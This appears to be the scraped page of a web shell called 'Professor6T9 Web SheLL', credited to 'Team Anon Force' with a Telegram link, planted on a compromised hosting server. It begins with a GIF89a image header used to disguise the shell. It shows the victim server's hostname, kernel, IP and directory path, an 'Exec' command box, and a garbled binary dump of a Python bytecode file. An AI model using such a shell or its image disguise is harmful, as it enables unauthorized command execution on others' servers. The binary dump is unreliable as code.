GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux das102.truehost.cloud 4.18.0-553.8.1.lve.el8.x86_64 #1 SMP Thu Jul 4 16:24:39 UTC 2024 x86_64
LiteSpeed
156.232.88.2
/
opt
/
alt
/
python38
/
lib
/
python3.8
/
site-packages
/
reactivex
/
scheduler
/
mainloop
/
__pycache__
[ HOME ]
Exec
Submit
gtkscheduler.cpython-38.pyc
U ܒi/ � @ sd d dl mZmZmZmZ d dlmZm Z d dlmZm Z m Z ddlmZ ed�Z G dd� de�Zd S ) � )�Any�Optional�TypeVar�cast)�abc�typing)�CompositeDisposable� Disposable�SingleAssignmentDisposable� )�PeriodicScheduler�_TStatec s� e Zd ZdZedd�� fdd�Zdejeje e e eej d�dd �Zdeje e e ej d �dd�Zdejeje e e ej d �dd�Zdejeje e e ej d �dd�Zdejeje e e ej d�dd�Z� ZS )�GtkSchedulerz�A scheduler that schedules work via the GLib main loop used in GTK+ applications. See https://wiki.gnome.org/Projects/PyGObject N)�glib�returnc s t � �� || _dS )a Create a new GtkScheduler. Args: glib: The GLib module to use; typically, you would get this by >>> import gi >>> gi.require_version('Gtk', '3.0') >>> from gi.repository import GLib N)�super�__init__�_glib)�selfr �� __class__� �Z/opt/alt/python38/lib/python3.8/site-packages/reactivex/scheduler/mainloop/gtkscheduler.pyr s zGtkScheduler.__init__F)�time�action�state�periodicr c sp t dt��|�d ��}t� �d�ttd�� �����fdd�}�j�||d � d d��fdd �}t�t |��S ) Nr g @�@F)�_r c sB �rdS �r"t tjt � ����n�jt tjt � ��d��_�S )NF�r )r r �ScheduledPeriodicActionr Z invoke_action�ScheduledActionZ disposable)r �r r Zsadr r �stoppedr r � timer_handler1 s �z1GtkScheduler._gtk_schedule.<locals>.timer_handler)r c s d� d S )NTr r )r"